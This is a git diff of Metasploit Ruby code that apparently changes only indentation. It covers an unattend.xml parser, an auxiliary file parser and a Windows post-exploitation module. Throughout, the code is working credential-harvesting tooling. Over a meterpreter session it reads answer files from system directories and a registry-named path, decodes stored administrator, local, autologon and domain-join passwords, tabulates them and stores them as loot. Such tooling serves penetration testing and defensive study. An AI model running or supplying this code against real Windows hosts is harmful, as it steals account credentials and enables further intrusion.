diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index 4f035704bb..e12d83ec2f 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -11,161 +11,161 @@ module Parser # http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx # Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx class Unattend - - require 'rex/text' + + require 'rex/text' - def self.parse(xml) - return [] if xml.nil? - results = [] - unattend = xml.elements['unattend'] - return [] if unattend.nil? - unattend.each_element do |settings| - next if settings.class != REXML::Element - settings.get_elements('component').each do |c| - next if c.class != REXML::Element - results << extract_useraccounts(c.elements['UserAccounts']) - results << extract_autologon(c.elements['AutoLogon']) - results << extract_deployment(c.elements['WindowsDeploymentServices']) - results << extract_domain_join(c.elements['Identification/Credentials']) - end - end - return results.flatten - end + def self.parse(xml) + return [] if xml.nil? + results = [] + unattend = xml.elements['unattend'] + return [] if unattend.nil? + unattend.each_element do |settings| + next if settings.class != REXML::Element + settings.get_elements('component').each do |c| + next if c.class != REXML::Element + results << extract_useraccounts(c.elements['UserAccounts']) + results << extract_autologon(c.elements['AutoLogon']) + results << extract_deployment(c.elements['WindowsDeploymentServices']) + results << extract_domain_join(c.elements['Identification/Credentials']) + end + end + return results.flatten + end - # - # Extract sensitive data from Deployment Services. - # We can only seem to add one with Windows System Image Manager, so - # we'll only enum one. - # - def self.extract_deployment(deployment) - return [] if deployment.nil? - domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' - username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' - password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' - plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' + # + # Extract sensitive data from Deployment Services. + # We can only seem to add one with Windows System Image Manager, so + # we'll only enum one. + # + def self.extract_deployment(deployment) + return [] if deployment.nil? + domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' + username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' + password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' + plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end - return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password } - end + return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password } + end - # - # Extract sensitive data from 'Secure' Domain Join - # - def self.extract_domain_join(credentials) - return [] if credentials.nil? - domain = credentials.elements['Domain'].get_text.value rescue '' - username = credentials.elements['Username'].get_text.value rescue '' - password = credentials.elements['Password'].get_text.value rescue '' + # + # Extract sensitive data from 'Secure' Domain Join + # + def self.extract_domain_join(credentials) + return [] if credentials.nil? + domain = credentials.elements['Domain'].get_text.value rescue '' + username = credentials.elements['Username'].get_text.value rescue '' + password = credentials.elements['Password'].get_text.value rescue '' - return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } - end + return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } + end - # - # Extract sensitive data from AutoLogon - # - def self.extract_autologon(auto_logon) - return [] if auto_logon.nil? + # + # Extract sensitive data from AutoLogon + # + def self.extract_autologon(auto_logon) + return [] if auto_logon.nil? - domain = auto_logon.elements['Domain'].get_text.value rescue '' - username = auto_logon.elements['Username'].get_text.value rescue '' - password = auto_logon.elements['Password/Value'].get_text.value rescue '' - plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' + domain = auto_logon.elements['Domain'].get_text.value rescue '' + username = auto_logon.elements['Username'].get_text.value rescue '' + password = auto_logon.elements['Password/Value'].get_text.value rescue '' + plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end - return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password } - end + return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password } + end - # - # Extract sensitive data from UserAccounts - # - def self.extract_useraccounts(user_accounts) - return[] if user_accounts.nil? + # + # Extract sensitive data from UserAccounts + # + def self.extract_useraccounts(user_accounts) + return[] if user_accounts.nil? - results = [] - account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts'] - account_types.each do |t| - element = user_accounts.elements[t] - next if element.nil? + results = [] + account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts'] + account_types.each do |t| + element = user_accounts.elements[t] + next if element.nil? - case t - # - # Extract the password from AdministratorPasswords - # - when account_types[0] - password = element.elements['Value'].get_text.value rescue '' - plaintext = element.elements['PlainText'].get_text.value rescue 'true' + case t + # + # Extract the password from AdministratorPasswords + # + when account_types[0] + password = element.elements['Value'].get_text.value rescue '' + plaintext = element.elements['PlainText'].get_text.value rescue 'true' - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') - end + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') + end - if not password.empty? - results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password} - end + if not password.empty? + results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password} + end - # - # Extract the sensitive data from DomainAccounts. - # According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts - # - when account_types[1] #DomainAccounts - element.elements.each do |account_list| - name = account_list.elements['DomainAccount/Name'].get_text.value rescue '' - group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true' + # + # Extract the sensitive data from DomainAccounts. + # According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts + # + when account_types[1] #DomainAccounts + element.elements.each do |account_list| + name = account_list.elements['DomainAccount/Name'].get_text.value rescue '' + group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true' - results << {'type' => 'domain', 'username' => name, 'group' => group} - end - # - # Extract the username/password from LocalAccounts - # - when account_types[2] #LocalAccounts - element.elements.each do |local| - password = local.elements['Password/Value'].get_text.value rescue '' - plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true' + results << {'type' => 'domain', 'username' => name, 'group' => group} + end + # + # Extract the username/password from LocalAccounts + # + when account_types[2] #LocalAccounts + element.elements.each do |local| + password = local.elements['Password/Value'].get_text.value rescue '' + plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true' - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end - username = local.elements['Name'].get_text.value rescue '' - results << {'type' => 'local', 'username' => username, 'password' => password} - end - end - end + username = local.elements['Name'].get_text.value rescue '' + results << {'type' => 'local', 'username' => username, 'password' => password} + end + end + end - return results - end + return results + end - def self.create_table(results) - return nil if results.nil? or results.empty? - table = Rex::Ui::Text::Table.new({ - 'Header' => 'Unattend Credentials', - 'Indent' => 1, - 'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups'] - }) + def self.create_table(results) + return nil if results.nil? or results.empty? + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Unattend Credentials', + 'Indent' => 1, + 'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups'] + }) - results.each do |result| - case result['type'] - when 'wds', 'auto', 'domain_join' - table << [result['type'], result['domain'], result['username'], result['password'], ""] - when 'admin', 'local' - table << [result['type'], "", result['username'], result['password'], ""] - when 'domain' - table << [result['type'], "", result['username'], "", result['group']] - end - end + results.each do |result| + case result['type'] + when 'wds', 'auto', 'domain_join' + table << [result['type'], result['domain'], result['username'], result['password'], ""] + when 'admin', 'local' + table << [result['type'], "", result['username'], result['password'], ""] + when 'domain' + table << [result['type'], "", result['username'], "", result['group']] + end + end - return table - end + return table + end end end end diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index d192a2c6b1..32f5ab5ff9 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -10,60 +10,60 @@ require 'rex/parser/unattend' class Metasploit3 < Msf::Auxiliary - def initialize(info={}) - super( update_info( info, - 'Name' => 'Auxilliary Parser Windows Unattend Passwords', - 'Description' => %q{ - This module parses Unattend files in the target directory. + def initialize(info={}) + super( update_info( info, + 'Name' => 'Auxilliary Parser Windows Unattend Passwords', + 'Description' => %q{ + This module parses Unattend files in the target directory. - See also: post/windows/gather/enum_unattend - }, - 'License' => MSF_LICENSE, - 'Author' =>[ - 'Ben Campbell ', - ], - 'References' => - [ - ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], - ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] - ], - )) + See also: post/windows/gather/enum_unattend + }, + 'License' => MSF_LICENSE, + 'Author' =>[ + 'Ben Campbell ', + ], + 'References' => + [ + ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] + ], + )) - register_options([ - OptPath.new('PATH', [true, 'Directory or file to parse.']), - OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]), - ]) - end + register_options([ + OptPath.new('PATH', [true, 'Directory or file to parse.']), + OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]), + ]) + end - def run - if datastore['RECURSIVE'] - ext = "**/*.xml" - else - ext = "/*.xml" - end + def run + if datastore['RECURSIVE'] + ext = "**/*.xml" + else + ext = "/*.xml" + end - if datastore['PATH'].ends_with('.xml') - filepath = datastore['PATH'] - else - filepath = File.join(datastore['PATH'], ext) - end + if datastore['PATH'].ends_with('.xml') + filepath = datastore['PATH'] + else + filepath = File.join(datastore['PATH'], ext) + end - Dir.glob(filepath) do |item| - print_status "Processing #{item}" - file = File.read(item) - begin - xml = REXML::Document.new(file) - rescue REXML::ParseException => e - print_error("#{item} invalid xml format.") - vprint_line(e.message) - next - end + Dir.glob(filepath) do |item| + print_status "Processing #{item}" + file = File.read(item) + begin + xml = REXML::Document.new(file) + rescue REXML::ParseException => e + print_error("#{item} invalid xml format.") + vprint_line(e.message) + next + end - results = Rex::Parser::Unattend.parse(xml) - table = Rex::Parser::Unattend.create_table(results) - print_line table.to_s unless table.nil? - print_line - end - end + results = Rex::Parser::Unattend.parse(xml) + table = Rex::Parser::Unattend.create_table(results) + print_line table.to_s unless table.nil? + print_line + end + end end diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 999965db2a..ebe1c06a11 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -12,167 +12,167 @@ require 'rexml/document' class Metasploit3 < Msf::Post - include Msf::Post::File + include Msf::Post::File - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather Unattended Answer File Enumeration', - 'Description' => %q{ - This module will check the file system for a copy of unattend.xml and/or - autounattend.xml found in Windows Vista, or newer Windows systems. And then - extract sensitive information such as usernames and decoded passwords. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Sean Verity ', - 'sinn3r', - 'Ben Campbell ' - ], - 'References' => - [ - ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], - ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Unattended Answer File Enumeration', + 'Description' => %q{ + This module will check the file system for a copy of unattend.xml and/or + autounattend.xml found in Windows Vista, or newer Windows systems. And then + extract sensitive information such as usernames and decoded passwords. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sean Verity ', + 'sinn3r', + 'Ben Campbell ' + ], + 'References' => + [ + ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) - register_options( - [ - OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true]) - ], self.class) - end + register_options( + [ + OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true]) + ], self.class) + end - # - # Determine if unattend.xml exists or not - # - def unattend_exists?(xml_path) - x = session.fs.file.stat(xml_path) rescue nil - return !x.nil? - end + # + # Determine if unattend.xml exists or not + # + def unattend_exists?(xml_path) + x = session.fs.file.stat(xml_path) rescue nil + return !x.nil? + end - # - # Read and parse the XML file - # - def load_unattend(xml_path) - print_status("Reading #{xml_path}") - f = session.fs.file.new(xml_path) - raw = "" - until f.eof? - raw << f.read - end + # + # Read and parse the XML file + # + def load_unattend(xml_path) + print_status("Reading #{xml_path}") + f = session.fs.file.new(xml_path) + raw = "" + until f.eof? + raw << f.read + end - begin - xml = REXML::Document.new(raw) - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - return nil, raw - end + begin + xml = REXML::Document.new(raw) + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + return nil, raw + end - return xml, raw - end + return xml, raw + end - # - # Save Rex tables separately - # - def save_cred_tables(cred_table) - t = cred_table - vprint_line("\n#{t.to_s}\n") - p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) - print_status("#{t.header} saved as: #{p}") - end + # + # Save Rex tables separately + # + def save_cred_tables(cred_table) + t = cred_table + vprint_line("\n#{t.to_s}\n") + p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) + print_status("#{t.header} saved as: #{p}") + end - # - # Save the raw version of unattend.xml - # - def save_raw(xmlpath, data) - return if data.empty? - fname = ::File.basename(xmlpath) - p = store_loot('windows.unattended.raw', 'text/plain', session, data) - print_status("Raw version of #{fname} saved as: #{p}") - end + # + # Save the raw version of unattend.xml + # + def save_raw(xmlpath, data) + return if data.empty? + fname = ::File.basename(xmlpath) + p = store_loot('windows.unattended.raw', 'text/plain', session, data) + print_status("Raw version of #{fname} saved as: #{p}") + end - # - # If we spot a path for the answer file, we should check it out too - # - def get_registry_unattend_path - # HKLM\System\Setup!UnattendFile - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM') - fname = key.query_value('Setup!UnattendFile').data - return fname - rescue Rex::Post::Meterpreter::RequestError - return '' - end - end + # + # If we spot a path for the answer file, we should check it out too + # + def get_registry_unattend_path + # HKLM\System\Setup!UnattendFile + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM') + fname = key.query_value('Setup!UnattendFile').data + return fname + rescue Rex::Post::Meterpreter::RequestError + return '' + end + end - # - # Initialize all 7 possible paths for the answer file - # - def init_paths - drive = session.fs.file.expand_path("%SystemDrive%") + # + # Initialize all 7 possible paths for the answer file + # + def init_paths + drive = session.fs.file.expand_path("%SystemDrive%") - files = - [ - 'unattend.xml', - 'autounattend.xml' - ] + files = + [ + 'unattend.xml', + 'autounattend.xml' + ] - target_paths = - [ - "#{drive}\\", - "#{drive}\\Windows\\System32\\sysprep\\", - "#{drive}\\Windows\\panther\\", - "#{drive}\\Windows\\Panther\Unattend\\", - "#{drive}\\Windows\\System32\\" - ] + target_paths = + [ + "#{drive}\\", + "#{drive}\\Windows\\System32\\sysprep\\", + "#{drive}\\Windows\\panther\\", + "#{drive}\\Windows\\Panther\Unattend\\", + "#{drive}\\Windows\\System32\\" + ] - paths = [] - target_paths.each do |p| - files.each do |f| - paths << "#{p}#{f}" - end - end + paths = [] + target_paths.each do |p| + files.each do |f| + paths << "#{p}#{f}" + end + end - # If there is one for registry, we add it to the list too - reg_path = get_registry_unattend_path - paths << reg_path if not reg_path.empty? + # If there is one for registry, we add it to the list too + reg_path = get_registry_unattend_path + paths << reg_path if not reg_path.empty? - return paths - end + return paths + end - def run - init_paths.each do |xml_path| - # If unattend.xml doesn't exist, move on to the next one - if not unattend_exists?(xml_path) - vprint_error("#{xml_path} not found") - next - end + def run + init_paths.each do |xml_path| + # If unattend.xml doesn't exist, move on to the next one + if not unattend_exists?(xml_path) + vprint_error("#{xml_path} not found") + next + end - xml, raw = load_unattend(xml_path) - save_raw(xml_path, raw) + xml, raw = load_unattend(xml_path) + save_raw(xml_path, raw) - # XML failed to parse, will not go on from here - return if not xml + # XML failed to parse, will not go on from here + return if not xml - results = Rex::Parser::Unattend.parse(xml) - table = Rex::Parser::Unattend.create_table(results) - table.print unless table.nil? - print_line + results = Rex::Parser::Unattend.parse(xml) + table = Rex::Parser::Unattend.create_table(results) + table.print unless table.nil? + print_line - # Save the data - save_cred_tables(table) if not table.nil? + # Save the data + save_cred_tables(table) if not table.nil? - return if not datastore['GETALL'] - end - end + return if not datastore['GETALL'] + end + end end